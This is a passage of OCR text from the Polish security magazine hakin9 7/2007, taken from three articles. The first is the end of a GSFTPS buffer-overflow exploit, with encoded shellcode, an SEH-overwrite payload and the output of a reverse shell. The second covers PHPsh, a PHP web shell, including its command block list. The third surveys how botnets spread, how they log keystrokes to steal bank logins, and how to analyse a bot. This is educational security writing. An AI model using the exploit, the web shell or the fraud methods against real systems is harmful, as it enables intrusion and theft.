\x

43

\x

36

\x

4d

\x

56

\x

4c

\x

36"

"

\x

42

\x

35

\x

49

\x

35

\x

49

\x

42

\x

4e

\x

4c

\x

49

\x

48

\x

47

\x

4e

\x

4c

\x

56

\x

46

\x

44"

"

\x

49

\x

38

\x

44

\x

4e

\x

41

\x

43

\x

42

\x

4c

\x

43

\x

4f

\x

4c

\x

4a

\x

45

\x

49

\x

49

\x

38"

"

\x

4d

\x

4f

\x

50

\x

4f

\x

44

\x

44

\x

4d

\x

52

\x

50

\x

4f

\x

44

\x

54

\x

4e

\x

52

\x

4d

\x

38"

"

\x

4c

\x

47

\x

4a

\x

33

\x

4b

\x

4a

\x

4b

\x

4a

\x

4b

\x

4a

\x

4a

\x

36

\x

44

\x

57

\x

50

\x

4f"

"

\x

43

\x

4b

\x

48

\x

41

\x

4f

\x

4f

\x

45

\x

37

\x

4a

\x

52

\x

4f

\x

4f

\x

48

\x

4d

\x

4b

\x

35"

"

\x

47

\x

55

\x

44

\x

35

\x

41

\x

45

\x

41

\x

55

\x

41

\x

35

\x

4c

\x

36

\x

41

\x

30

\x

41

\x

55"

"

\x

41

\x

55

\x

45

\x

55

\x

41

\x

55

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

36

\x

4d

\x

4a

\x

49

\x

4d"

"

\x

45

\x

30

\x

50

\x

4c

\x

43

\x

55

\x

4f

\x

4f

\x

48

\x

4d

\x

4c

\x

36

\x

4f

\x

4f

\x

4f

\x

4f"

"

\x

47

\x

43

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

47

\x

4e

\x

49

\x

47

\x

48

\x

4c

\x

49

\x

37"

"

\x

4f

\x

4f

\x

45

\x

47

\x

46

\x

50

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

47

\x

37

\x

4e

\x

4f"

"

\x

4f

\x

4f

\x

42

\x

4d

\x

4a

\x

46

\x

42

\x

4f

\x

4c

\x

48

\x

46

\x

50

\x

4f

\x

45

\x

43

\x

55"

"

\x

4f

\x

4f

\x

48

\x

4d

\x

4f

\x

4f

\x

42

\x

4d

\x

5a"

)

buffer

=

'\

x41

'

*

2043

+

ret

+

"

\x

90"

*

52

+

"

\x

EB

\x

08

\x

90

\x

90"

+

"

\x

16

\x

02

\x

01

\x

10"

+

'\

x90

'

*

8

+

shellcode

+

'\

x90

'

*

186

s

=

socket

.

socket

(

socket

.

AF_INET

,

socket

.

SOCK_STREAM

)

connect

=

s

.

connect

((

'

192.168

.

0.100

',

21

))

d

=

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

USER

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

'

PASS

ftp

\

r

\

n

'

)

s

.

recv

(

1024

)

time

.

sleep

(

1

)

s

.

send

(

buffer

+

'

r

\

n

'

)

background image

Offensive Security

hakin9 Nr 7/2007

www.hakin9.org

19

Ku mojemu zdziwieniu i zasko-

czeniu zadziałało i mój exploit wy-
konywał pomyślnie kod zarówno
pod Windows 2000, jak i pod Win-
dows 2003.

Przejęcie kontroli

Używając zmodyfikowanego exploita
zdołałem uruchomić reverse meter-

preter shell na maszynie ofiary i zdo-
być do niej dostęp. Okazało się, że
była to stacja z systemem Windows
2003 SP0.

Podsumowanie

Bawiąc się finalną wersją exploita na
Windows 2000 SP4 zdałem sobie
sprawę z tego, że mogłem stworzyć
uniwersalny exploit w o wiele prostszy
sposób. AuthManager.dll (tej konkret-
nej wersji GSFTPS) jest wczytywany
przy takich samych adresach zarów-
no w Windows 2000, jak i w Windows
2003. Przy nadużyciu jedynie SEH

exploit byłby uniwersalny w Windows,
ale zależny od wersji GSFTPS. l

Rysunek 11.

Windows 2003

CALL ESP

W2kSP4

52 NOPS

Shellcode

Short

Jump

POP POP RET

W2k3SPO

Bad

Jump

SEH Called

Rysunek 10.

Windows 2000

CALL ESP

W2kSP4

52 NOPS

Shellcode

Short

Jump

POP POP RET

W2k3SPO

Good

Jump

Rysunek 9.

Wywołana SEH, nadpisywanie EIP

O autorze

Mati Aharoni jest ekspertem w dziedzi-
nie bezpieczeństwa sieciowego, aktu-
alnie współpracuje z izraelskimi agen-
cjami wojskowymi i rządowymi. Na co
dzień zajmuje się badaniem luk, pisa-
niem exploitów i testami penetracyjnymi
(whitebox / blackbox).

Listing 11.

Reverse Shell na

Windows 2003 SP0:

BT

~ #

nc

-

lvp

4321

listening

on

[

any

]

4321

connect

to

[

192.168

.

0.112

]

from

win2k3std

.

localdomain

[

192.168

.

0.110

]

1073

Microsoft

Windows

[

Version

5.2

.

3790

]

(

C

)

Copyright

1985

-

2003

Microsoft

Corp

.

C

:

\

WINDOWS

\

system32

>

Listing 12.

Reverse Shell na

Windows 2000 SP4:

BT

~ #

nc

-

lvp

4321

listening

on

[

any

]

4321

connect

to

[

192.168

.

0.112

]

from

97

DACBEC7CA4483

.

localdomain

[

192.168

.

0.100

]

1106

Microsoft

Windows

2000

[

Version

5.00

.

2195

]

(

C

)

Copyright

1985

-

2000

Microsoft

Corp

.

C

:

\

WINNT

\

system32

>

background image

www.hakin9.org

hakin9 Nr 7/2007

20

Atak

C

zy jest coś bardziej irytującego niż
przenoszenie tysięcy plików na swój
serwer WWW, korzystając z dostępu

poprzez konto FTP? Wielu użytkowników cier-
pliwie wykorzystuje jedyny dostęp do swojego
serwisu, użytkuje protokół FTP i czeka kilka-
dziesiąt minut na zakończenie operacji transmi-
sji danych. Jak w prosty sposób poznać ścież-
kę do wybranego katalogu? Jak szybko zrobić
kopię zapasową plików serwera ?

Wyobraźmy sobie następującą, typową sy-

tuację, kiedy chcemy zainstalować rozbudowa-
ny serwis WWW na serwerze, aby każdy mógł
zobaczyć wyniki naszej pracy. Wydawać, by
się mogło, że nic prostszego – po przetestowa-
niu naszego serwisu lokalnie, decydujemy się w
końcu na transfer wszystkich plików do zdalne-
go katalogu. I tu zaczyna się problem. Taka ope-
racja trwa bardzo długo. Jak wiadomo, przesył
tej samej objętości w wielu osobnych plikach nie
jest tożsamy czasowo z transmisją identycznej
ilości danych w jednym pliku. Po udanej operacji
możemy cieszyć się działającym serwisem. Lecz
całkiem niedługo będziemy z pewnością chcieli
wykonać kopię zapasową bądź usunąć wszyst-
kie pliki. I znów czekają nas wtedy długie minu-
ty zbędnej zwłoki, podczas gdy można by w tym

czasie zrobić coś bardziej produktywnego. Wła-
śnie tego rodzaju problemy skłoniły mnie do po-
szukiwań alternatywnego rozwiązania i obejścia
całej tej żmudnej oraz czasochłonnej operacji.

O ileż prościej byłoby spakować wszyst-

kie pliki do archiwum, skorzystać z dostępu
do shella i skopiować oraz rozpakować pliki na
zdalnym serwerze! Owszem, byłoby to bardzo
proste, lecz często spotka nas tutaj rozczaro-
wanie. Otóż okazuje się, iż dostawca naszego

PHPsh – dostęp do shell’a

Piotr Nowak

stopień trudności

Wiele firm hostingowych nie udziela dostępu do shella dla

zwykłych kont WWW, istnieje jednak możliwość obejścia tego

ograniczenia w łatwy oraz przyjemny dla użytkownika sposób, nie

naruszając przy tym żadnych zagadnień legalności.

Z artykułu dowiesz się

• jak uzyskać dostęp do shella na serwerze nie

wyposażonym w taką usługę,

• jak skonfigurować PHPsh, by móc bezpiecznie

z niego korzystać.

Co powinieneś wiedzieć

• znajomość podstawowych informacji na temat

shell w linux,

• znajomość podstaw języka PHP umożliwiająca

świadomą konfigurację skryptu PHPsh,

• umiejętność umieszczenia skryptu na serwe-

rze WWW.

background image

PHPsh

hakin9 Nr 7/2007

www.hakin9.org

21

konta WWW nie udziela nam dostę-
pu do shella. Posiadamy jedynie do-
stęp przez FTP. Dostęp do shella naj-
częściej jest udzielany dla serwerów
dedykowanych, ale jest to rozwiąza-
nie dużo droższe i często nadmiaro-
we w stosunku do potrzeb przecięt-
nego internauty, chcącego podzielić
się swoim serwisem WWW.

Okazuje się, że jest eleganc-

kie i wysoce efektywne wyjście z te-
go impasu! Wystarczy nam miano-
wicie zwykła przeglądarka interneto-
wa, obsługa języka PHP na serwerze
oraz skrypt symulujący pracę powło-
ki o nazwie PHPsh!. Jak sugeruje na-
zwa skryptu, jest to shell, który pozwa-
la wprowadzać komendy powłoki oraz
obserwować wyniki ich działania bez-
pośrednio na serwerze.

PHPsh został wymyślony po to,

aby ułatwić życie webmasterom oraz
administratorom i dać im namiast-
kę prawdziwego dostępu do shella.
Rozwiązanie to różne jest od posta-
wy dostawców usług serwera, którzy
w takim dostępie często upatrują wię-
cej niebezpieczeństw niż korzyści.

Dla jasności, omówmy najpierw,

co PHPsh potrafi, a czego nie, w od-
różnieniu od prawdziwego shella.
PHPsh jest uproszczoną wersją bash
shell, wykorzystującą funkcję języka
PHP

popen()

, dzięki której możemy

uruchamiać dowolne polecenia za po-
mocą pewnych wbudowanych mecha-
nizmów PHP. Funkcja

popen()

swoje

działanie opiera na uruchomieniu pro-
gramu, stworzeniu potoku do niego, a
następnie zwrocie wskaźnika do pli-
ku, analogicznie jak dla funkcji

fopen()

.

Posiada wygodny mechanizm zapa-

miętywania ostatnio wykonywanych
komend, co doskonale znamy z praw-
dziwego shella wciskając przycisk kur-
sora w górę. PHPsh jest wygodnym
środowiskiem przeglądania dostępne-
go systemu plików oraz wykonywania
na nim wszelkich operacji. Jest darmo-
wym oprogramowaniem, dostępnym
dla każdego bez żadnych opłat.

PHPsh NIE JEST natomiast inte-

raktywnym shellem. Nie może utrzy-
mywać więc aktywnych sesji, a co za
tym idzie, nie możemy uruchamiać
edytorów typu vi czy mc. Skrypt działa
w oparciu o protokół HTTP, który jest
bezstanowy z założenia i właśnie ten
fakt nakłada powyższe ograniczenie.
Należy także pamiętać, iż narzędzie
to może stać się bardzo niebezpiecz-
ne w niepowołanych rękach, gdyż nie
posiada specjalnych zabezpieczeń
poza prostą ochroną IP i limitem do-
stępnych komend, o czym poniżej.

Instalacja skryptu

na serwerze

Instalacja jest trywialnie prosta i spro-
wadza się właściwie do edycji oraz
skopiowania pliku phpsh.php do wy-
branego katalogu serwera. Najnow-
szą wersję skryptu można pobrać
pod adresem http://www.psychogenic.

com/en/products/PHPsh/phpsh-la-

test.tar.bz2.

A więc do dzieła, na potrzeby

przykładu zakładam, iż po rozpako-
waniu archiwum, skrypt phpsh.php
skopiowano poprzez ftp na serwer

www.example.com do głownego ka-
talogu (/phpsh.php). Oczywiście na-
zwa serwera jest przykładowa i nale-
ży zmienić ją na własną. Kolejnym eta-
pem konfiguracji jest zmiana linii ko-
du, dzięki której skrypt będzie działał
tylko z jednym adresem IP odwołują-
cym się do niego. Należy zmienić linij-

$MyIPAddress = '127.0.0.1';

w ten

sposób, aby zmienna

$MyIPAddress

za-

wierała nasz aktualny adres IP widzia-

ny z zewnątrz. Aktualny adres moż-
na sprawdzić szybko na dwa spo-
soby. Możemy wejść na stronę http:

//www.ip-adress.com bądź odwiedzić
naszą stronę z skryptem phpsh.php

http://www.example.com/phpsh.php i
odczytać komunikat informujący nas
o braku dostępu, gdzie podany został
także nasz aktualny adres IP, który w
tej chwili jest blokowany. Istnieje także
możliwość przypisania puli adresów IP
mających prawo dostępu do skryptu.

Po poprawnym wykonaniu po-

wyższych operacji możemy już
sprawdzić poprawność działania
powłoki. W tym celu należy odwie-
dzić adres http://www.example.com/

phpsh.php. Powinniśmy wówczas uj-
rzeć ekran jak na Rysunku 1.

Omówienie interfejsu

programu

Elementy interfejsu oznaczone cy-
frami na Rysunku 2. zostały omówio-
ne poniżej:

• wynik ostatnio wykonanej ko-

mendy [1],

• pole tekstowe służące do wpro-

wadzania komend [2],

• historia wywoływanych ostatnio

poleceń. Klawiszem [TAB] można
ustawić focus na to pole, by na-
stępnie używając klawiszy strza-
łek góra, dół przemieszczać się
po historii [3],

• zawartość bieżącego katalogu.

Nazwy katalogów oraz plików są
łączami, stąd można w bardzo
prosty sposób nawigować klika-
jąc jedynie owe łącza. Oczywi-
ście nawigacja może odbywać
się w tradycyjny sposób za pomo-
cą komendy cd [4],

• pole pozwala załadować plik do

bieżącego katalogu, o ile posiada-
my prawa do zapisu. Należy zwró-
cić również uwagę na ogranicze-
nie maksymalnej wielkości pliku,
jaki może zostać wysłany meto-
dą POST, co zależy od ustawień
w php.ini. [5],

• zamiana znaków specjalnych, ta-

kich jak <, >, & itd. (HTML esca-
ping), w taki sposób, aby mogły być
wyświetlane, a nie interpretowane
przez przeglądarkę HTML [6].

Rysunek 1.

PHPsh po poprawnej instalacji

W Sieci

http://www.psychogenic.com/en/
products/PHPsh.php
– Strona domo-
wa projektu PHPsh

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

22

W jaki sposób

używać PHPsh?

Większość typowych operacji, jakie
nas będą interesować, opiera się na
kopiowaniu, tworzeniu archiwów, usu-
waniu oraz pozyskiwaniu informacji o
plikach i katalogach. W tym miejscu
mamy pełną dowolność w stosowaniu
typowych komend shella, z jednym tyl-
ko zastrzeżeniem. Część komend jest
mianowicie zablokowanych domyślnie
ze względów bezpieczeństwa. Na liście
domyślnie zablokowanych komend są:
rm, ssh, passwd, su, ping, telnet. Aby
odblokować wybrane bądź wszystkie
komendy, należy w pliku phpsh.php
odszukać linię

disabledcommands'

=> array('rm', 'ssh', 'passwd', 'su',
'ping', 'telnet')

a następnie usunąć

z tablicy te elementy, które chcemy
mieć dostępne. Jeśli zatem chcemy
mieć możliwość usuwania plików oraz
katalogów, należy usunąć z tablicy ele-
ment 'rm'.

Od tego momentu można praco-

wać z skryptem niemal równie inte-
raktywnie jak z prawdziwym shel-
lem. W polu nr 2 na Rysunku 2. wpi-
sujemy komendę i zatwierdzamy
klawiszem [Enter] lub klikając przy-
cisk z etykietą Do. Możemy wyko-
nywać wszystkie dostępne polece-
nia i na bieżąco obserwować wyni-
ki ich działania.

Przypadek użycia

Przypuśćmy, iż chcemy wykonać ty-
pową operację, jaką jest wykona-
nie kopii zapasowej serwisu WWW.
W tym celu wykorzystamy komendy
shella: ls, zip, mkdir, mv.

Załóżmy, że katalog z plikami ser-

wisu nazywa się WWW i znajduje w
lokalizacji /, czyli / WWW. Aby wyko-
nać kopię zapasową, utworzymy naj-
pierw katalog, gdzie będziemy trzy-
mać wszystkie utworzone archiwa ser-
wisu. W tym celu tworzymy katalog o
nazwie backup w lokalizacji / (/backup)
poleceniem mkdir backup. Następnie
spakujemy całą treść serwisu polece-
niem zip w sposób następujący: zip -r

backup.zip /www. W ten sposób utwo-
rzyliśmy skompresowaną wersję ser-
wisu w postaci jednego pliku, którym
teraz łatwiej manipulować. Aby spraw-
dzić, czy plik został faktycznie utwo-
rzony i jaki ma rozmiar, możemy wy-
konywać polecenie ls -al backup.zip.
Przenieśmy następnie ten plik do kata-
logu backup. Polecenie mv backup.zip

/backup wykonuje powyższe zadanie.
Katalog backup należy oczywiście za-
bezpieczyć przed potencjalnym odczy-
taniem przez niepowołane osoby. Jed-
nym z sposobów aby tego dokonać,
jest napisanie reguł dostępu w pliku
.htaccess i umieszczenie go w chronio-
nym katalogu. Szczegóły na ten temat

można znaleźć w Sieci pod adresem
http://httpd.apache.org/docs/1.3/mod/
mod_access.html. To wszystko! W
szybki sposób, krócej niż w minutę, za
pomocą shella wykonaliśmy zadanie,
które w przypadku dużej ilości plików
katalogu /WWW zajęłoby nawet kilka-
dziesiąt minut! Nie trzeba prosić admi-
nistratorów serwera o pomoc, wszyst-
ko zrobiliśmy sami i w każdej chwili mo-
żemy wykonać kolejne operacje dzięki
PHPsh. Wspaniale!

Aliasy komend

Często zachodzi potrzeba stworzenia
aliasu jakiejś złożonej komendy. Już
choćby proste polecenie ls -l powta-
rzane wiele razy może stać się mę-
czące i można je zastąpić nieco krót-
szym ll. Dlatego ku uciesze osób obe-
znanych z linuxem, możliwość tworze-
nia aliasów jest dostępna również w

Listing 1.

Konfiguracja aliasów

komend

aliases

' => array(

'

ls

' => '

ls -F

',

'

lh

' => '

ls -F -lth | head

',

'

fgr

' => '

find . -type f |

xargs -n
100 grep

',

'

psa

' => '

ps waux',

)

,

Rysunek 2.

Interfejs PHPsh

background image

PHPsh

PHPsh. W pliku phpsh.php możemy
znaleźć fragment jak na Listingu 1.

Listing 1. pokazuje, w jaki spo-

sób można tworzyć własne aliasy,
dostępne za każdym razem podczas
działania skryptu.

Zagadnienia

bezpieczeństwa

Ponieważ PHPsh jest dostępne dla każ-
dego ze względu na dostępność przez

WWW, należy dołożyć wszelkich sta-
rań, aby maksymalnie ograniczyć do-
stępność skryptu dla innych, niepowo-
łanych do tego osób. Przede wszyst-
kim należy ograniczyć pulę adresów IP,
które mogą korzystać z shella, co omó-
wiono w wcześniejszej części artykułu.
Ze względu na małe rozmiary skryptu,
wskazane jest jego umieszczenie na
serwerze tylko na czas wykonywania
operacji i jego usunięcie po zakończe-
niu wszystkich prac. W miarę możliwo-
ści warto stosować połączenia szyfro-
wane SSL (https). Dobrym pomysłem
jest, by ograniczyć listę dostępnych ko-
mend, szczególnie tych niebezpiecz-
nych jak np. rm, ssh, passwd, su, ping,

telnet, wget, df, uname, dzięki którym
można dokonywać potencjalnie nie-
bezpiecznych operacji, począwszy od
usuwania plików (rm), przez próby za-
pychania łącza przez ściąganie dużych
plików (wget) po zmianę hasła (pwd).
Należy także pamiętać o tym, iż dostęp
do shella wiąże się z uzyskaniem wie-
lu przydatnych informacji dla potencjal-
nego złośliwego hackera (polecenia df,

uname). Stąd niezwykle istotne jest ta-
kie zabezpieczenie skryptu, aby w jak
najmniejszym stopniu miały do niego
dostęp osoby trzecie.

Czasem, będąc administratorem

serwera WWW, chcielibyśmy zablo-
kować możliwość stosowania przez
użytkowników rozwiązań typu PHPsh.
Aby uniemożliwić działanie PHPsh lub

innych skryptów opierających swoje
działanie o funkcje uruchamiające pro-
gramy, należy wykluczyć je z listy ob-
sługiwanych komend interpretera PHP.
W tym celu do pliku konfiguracyjnego
PHP php.ini, należy dodać następu-
jącą linię:

disable _ functions = dl,

exec, passthru, system, shell _ exec,
popen.

Powyższy zabieg uniemożliwia

wykonywanie jakichkolwiek komend
powłoki z poziomu PHP, co zabezpie-
cza serwer przed niepowołanym dostę-
pem do poleceń dostępnych z shella.

Dostępność

PHPsh działa dzięki wbudowanej w ję-
zyk PHP funkcji

popen()

, a więc jeśli

tylko provider usługi nie zablokował tej
funkcji, z pewnością będziemy mogli
się cieszyć dostępem do shella. Pod-
czas pisania tego artykułu pracowa-
łem na serwerach home.pl, gdzie funk-
cja

popen()

jest jak najbardziej dozwo-

lona i wszystko działało doskonale.

Podsumowanie

Pomimo braku dostępu do shella w
większości kont WWW, możemy sobie
poradzić z tym problemem w mniej niż
5 minut, instalując skrypt PHPsh. Na-
leży pamiętać, że nie każdy dostawca
usług pozwala na wykonywanie ope-
racji, dzięki którym PHPsh działa i za-
wsze będzie trzymać rękę na pulsie,
jeśli chodzi o bezpieczeństwo tak uni-
wersalnego narzędzia – shell. l

Inne rozwiązania dostę-

pu do shell z PHP

Więcej na temat dostępu do shell z uży-
ciem języka PHP, jak też bezpieczeń-
stwa oraz mechanizmów podobnych
do funkcji

popen()

, takich jak

exec

,

passthru,

system

,

shell _ exec

,

proc _ open

można znaleźć w zaso-

bach Internetu oraz marcowym wyda-
niu hakin9 (3/2007).

O autorze

Autor jest studentem Politechniki Ślą-
skiej w Gliwicach oraz pracownikiem
jednej z największych firm teleinfor-
matycznych w Polsce. Zajmuje się
przede wszystkim tworzeniem aplika-
cji WWW w oparciu o technologie JEE,
.NET, PHP.

Kontakt z autorem:

p.nowak2@gmail.com

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 7/2007

24

Atak

B

oty zaczęły rozprzestrzeniać się na ma-
sową skalę pod koniec 2003 roku - wy-
korzystując do tego celu lukę w inter-

fejsie RPC, wykrytą parę miesięcy wcześniej.
Luka ta stanowiła doskonałą okazję do zainfe-
kowania ogromnej liczby komputerów przy ma-
łym nakładzie środków. Na powodzenie zma-
sowanych ataków złożyło się tu wiele czynni-
ków, m.in.: niska świadomość użytkowników,
dostępność kodu P-O-C z optymalnym shel-
lcode’m oraz dostępność kodów źródłowych
botów (m.in. Sd-bot, Spybot). Od tego czasu
oprogramowanie takie przeżywa rozkwit, do-
skonalone są techniki jego rozprzestrzeniania-
oraz ukrywania się w systemie.

Metody rozprzestrzeniania się

Jedną z podstawowych cech botów jest możli-
wość rozprzestrzeniania się. Techniki te ewolu-
owały od momentu powstania botów do dnia dzi-
siejszego. Początkowo boty rozprzestrzeniały się
w sposób podobny do wirusów – były wysyłane
jako załączniki e-mail. Treść listu była tworzo-
na z użyciem technik inżynierii społecznej (so-

cial engineering) – tak, aby nakłonić użytkowni-
ka do otwarcia załącznika. Dzisiaj programy anty-
wirusowe automatycznie skanują jednak załącz-

niki potrafią na podstawie sygnatur lub zacho-
wania aplikacji wykryć znane boty. Innym spo-
sobem ich rozprzestrzeniania się jest wykorzy-
stywanie luk w aplikacjach sieciowych, najczę-
ściej Microsoft Internet Explorer oraz Microsoft
Outlook. Specjalnie utworzony exploit, instalu-
jący bota, jest umieszczany na serwerze Web.
Link do spreparowanej strony rozpowszech-
niany jest na wszelkie możliwe sposoby - po-
przez komunikatory sieciowe, IRC, mail, grupy
dyskusyjne czy też fora internetowe. Gdy ofiara

Metody rozpowszechniania

się botnetów

Dawid Gołuński, Krzysztof Kułaj

stopień trudności

Sieci botnet są coraz bardziej rozpowszechnione. Z danych

statystycznych wynika, że co 4 komputer domowy w Sieci to

Zombie. W jaki sposób się one rozprzestrzeniają, co potrafią

i dlaczego nie można sobie z nimi poradzić – na te pytania

Czytelnik uzyska odpowiedź po przeczytaniu tego artykułu.

Z artykułu dowiesz się

• w jaki sposób działają boty (metody infekcji,

ukrywanie się w systemie),

• nauczysz się analizować skompilowany plik

bota,

• poznasz zagrożenia płynące z Sieci typu bot-

net.

Co powinieneś wiedzieć

• znać podstawy C,
• znać podstawy assemblera,
• znać podstawy Sieci TCP/IP.

background image

Sieci zombie

hakin9 Nr 7/2007

www.hakin9.org

25

aktywuje link, a używana przeglądar-
ka jest podatna na błąd, bot zainsta-
luje się w systemie. Luki wykorzysty-
wane do tego ataku są wybierane ze
względu na takie czynniki, jak: ilość
podatnego oprogramowania, popu-
larność aplikacji, uniwersalny shellco-
de (najlepiej niezależny od wersji ję-
zykowej Windows lub programu). In-
nym sposobem na infekcję użytkow-
ników jest skanowanie Sieci w po-
szukiwaniu niezaktualizowanych sys-
temów. Najczęściej wykorzystywane
luki to : SRVSVC (MS06-040), PNP
(MS05-039) , ASN.1 (MS04-007),
LSASS (MS04-011), DCOM (MS03-
026) – (MS03-043), (MS03-049).
(bardziej dociekliwi czytelnicy mogą
zapoznać się ze szczegółami tych luk
na stronach Microsoft, podając nume-
ry indeksowe zawarte w nawiasach).
Publicznie dostępne boty, m.in. RxBot,

GT-Bot posiadają zaimplementowa-
ne przeszukiwanie Sieci oraz infek-
cję za pomocą wyżej wymienionych
dziur. Ciekawym sposobem infekowa-
nia systemów jest wyszukiwanie kom-
puterów i infekcja za pomocą Netbios.
Schemat ataku wygląda następująco:
agresor wyszukuje komputer z otwar-
tym portem 139, następnie próbuje się
z nim połączyć. Jeśli połączenie doj-
dzie do skutku z pustym hasłem, ko-
piuje się do wszystkich możliwych lo-
kacji. Jeśli istnieje hasło, bot będzie
próbował odgadnąć hasło, podsta-
wiając najczęściej występujące sło-
wa. Często wykorzystywane są dziu-
ry w standardowych lokalnych apli-
kacjach, np. Microsoft Word czy Mi-
crosoft PowerPoint. Atakujący wy-
syła odpowiednio spreparowany plik

.doc lub .pps w załączniku do e-ma-
ila. Tym sposobem można wykorzy-
stać niemalże każdą lukę występującą
w lokalnym systemie. Jedynym ogra-
niczeniem jest treść e-maila – musi
być wystarczająco przekonywująca
– co z reguły nie jest najtrudniejszym
zadaniem, jeśli rozszerzenie załącz-
nika nie jest plikiem wykonywalnym.
Ten atak ma jedną wadę – nie może
być on kierowany do wielu użytkowni-
ków, gdyż jeśli trafi do firm antywiruso-
wych, jego sygnatury zostaną dodane
do bazy wirusów i będzie wykrywal-
ny, co znacząco zmniejszy możliwo-

ści rozprzestrzeniania się. Stosunko-
wo prostym w implementacji sposo-
bem rozprzestrzeniania jest kopiowa-
nie bota na komputerze ofiary, do fol-
derów, z których korzystają progra-
my P2P ( np. Emule, Kazaa). Nazwy
są najczęściej dobierane wg. schema-
tów (crack-nazwa_gry.exe, key-gen-

nazwa_gry.exe etc). Ta metoda jest
skuteczna jedynie w przypadku du-
żych botnetów, ponieważ im więcej
kopii tego samego pliku w Sieci P2P,
tym wyżej znajduje się on na liście wy-
szukiwania. Ciekawą techniką zdoby-

wania botów, której nie można zaliczyć
do infekcji są kradzieże botnetów. Ten
temat zostanie poruszony w punkcie

Zdobywanie informacji o bocie.

Instalacja

i ukrywanie w systemie

Domyślnie wszystkie boty instalują
się w kluczach startowych rejestru
Windows. Metoda ta jest bardzo za-
wodna, ponieważ wszystkie progra-
my antywirusowe oraz antyspywaro-
we w pierwszej kolejności sprawdza-
ją domyślne lokalizacje. Nawet stan-

Rysunek 1.

Wywołanie bota, ukryte w usłudze Posłańca

Rysunek 2.

Przechwycenie adresu serwera oraz nicka bota

background image

hakin9 Nr 7/2007

www.hakin9.org

Atak

26

dardowe narzędzia Windows (np.

msconfig) są w stanie wykryć obec-
ność bota. Jednakże nie jest to jedy-
na metoda automatycznego urucha-
miania bota. Istnieje szereg innych,
mniej lub bardziej znanych metod.
Np. dopisanie się do systemowych
usług lub dll injection.

Możliwości botów

Pierwotnie boty były gromadzone w
celach ataków DOS i DDOS. Najczę-
ściej używany do tego celu jest syn-

flood oraz ping-flood. Z czasem boty
stały się coraz bardziej wyrafinowa-
ne. Wachlarz ich możliwości stał się
dużo większy. Bardzo szybko została
dodana możliwość skanowania naci-
skanych klawiszy. Dodatkowo, w źró-
dle możemy określić nazwy okien, z
których klawisze mają być logowane.
Określając nazwę okna na:

• PuTTY– możemy uzyskać sporą

ilość kont z dostępem do shella,

• nazwy serwisów aukcyjnych – ha-

sła do kont umożliwiające zawie-
ranie transakcji w imieniu danej
osoby,

• nazwy banków – numery kart

kredytowych, jak również hasła
i loginy do kont bankowych.

To tylko kilka przykładów, potwier-
dzających, że najwrażliwsze dane
użytkownika są w zasięgu ręki po-
siadacza bonetu. Inne funkcje to np.
możliwość klikania w linki interneto-
we. Funkcja ta jest używana do oszu-
kiwania systemów zliczających klik-
nięcia w banery na stronach interne-
towych. Oznacza to, że osoba posia-
dająca botnet może w łatwy sposób
wpływać na wyniki wszelkiego rodza-
ju sond, ankiet, głosowań itp. Jako że

istnieją firmy płacące za klikanie w
reklamy na stronach – takie działa-
nie może doprowadzić do osiągnię-
cia korzyści finansowych. Boty czę-
sto są wykorzystywane do wysyła-
nia spamu, posiadają nawet własne
silniki SMTP. Według statystyk, oko-
ło 50% spamu wysyłanego w sieć
pochodzi z zainfekowanych kompu-
terów. Źródła botów potrafiących wy-
syłać masowo spam nie są raczej pu-
blicznie dostępne, ale nawet średnio-
zaawansowanemu programiście roz-
szerzenie programu o takie funkcje
nie powinno sprawić trudności.

Scenariusz

przykładowego ataku

na konto w banku

internetowym

Jeśli użytkownik korzystający z
usług banku posiada bota, w skraj-
nych przypadkach może stracić pie-
niądze na swoim koncie. Zaprezen-
towana technika może zostać dosto-
sowana do każdego banku stosują-
cego tego typu zabezpieczenia. Ist-
nieją boty mające zaimplementowa-
ną funkcję powiadamiania na kanale,
jeśli na komputerze pojawią się okna
z danym tytułem. W przypadku, gdy
użytkownik wejdzie na stronę banku
– wiadomość z zapisanymi klawisza-
mi wciśniętymi w tym oknie (tj. login
i hasło) zostanie przesłane do wła-
ściciela botnetu. W tym momencie
może się on swobodnie logować na
konto bankowe użytkownika. Jednak
wszystkie kluczowe operacje na kon-
cie są zabezpieczone hasłem jedno-
razowym, które zna jedynie właściciel
konta oraz bank. Można spreparować
stronę, do złudzenia przypominają-

Listing 1.

Przełożenie funkcji decode() na język C

char

*

decode

(

char

*

text

,

int

param

,

char

*

where

)

{

int

i

;

for

(

i

=

0

;

text

[

i

]

!=

0

;

i

++)

{

where

[

i

]

=

text

[

i

]

-

param

-

3

*

i

;

}

Where

[

i

]=

0

;

return

where

;

}

Rysunek 4.

Sekcje dostępne w pliku bota

Rysunek 3.

Bot spakowany UPXem

background image

Sieci zombie

hakin9 Nr 7/2007

www.hakin9.org

27

cą stronę banku. Posiadając bota na
komputerze ofiary, jesteśmy w stanie
przekierować użytkownika na podsta-
wioną przez nas stronę. Gdy użyt-
kownik - będąc przekonanym, że kon-
taktuje się z właściwą stroną - wpisze
hasło jednorazowe, zamiast trafić do
banku trafia do właściciela botów. W
tym momencie, atakujący może zro-
bić wszystko z naszym kontem ban-
kowym. Działanie to może wydawać
się początkowo skomplikowane, jed-
nak coraz więcej osób pada ofiara-
mi tego typu przestępstw. Banki sta-
rają się walczyć z takimi praktykami,
wprowadzając losowe wybieranie ha-
seł jednorazowych z listy lub hasła
przesyłane na telefony komórkowe.

Zdobywanie

informacji o bocie

Przechwycony plik wykonywalny bota
może wiele powiedzieć o docelowej
Sieci. Przeprowadzając odpowiednie
działania, możemy poznać dokładną
konfigurację bota, a w szczególności:

• Adres serwera IRC, z jakim na-

stępuje połączenie;

• Nazwa kanału IRC, do którego

dołącza bot;

• Klucz dostępowy kanału IRC;
• Dane potrzebne do uwierzytel-

nienia.

Te informacje mogą posłużyć do na-
mierzenia atakującego, zniszczenia
botnetu (znając dane potrzebne do
uwierzytelnienia, jesteśmy w stanie
zalogować się na każdym z zaatako-
wanych komputerów oraz odinstalo-
wać program bota), przejęcia botnetu

(poprzez poinstruowanie komputerów,
aby wgrały określoną przez nas wersję
bota jednocześnie usuwając starą).

Podsłuchiwanie,

czyli sniffing

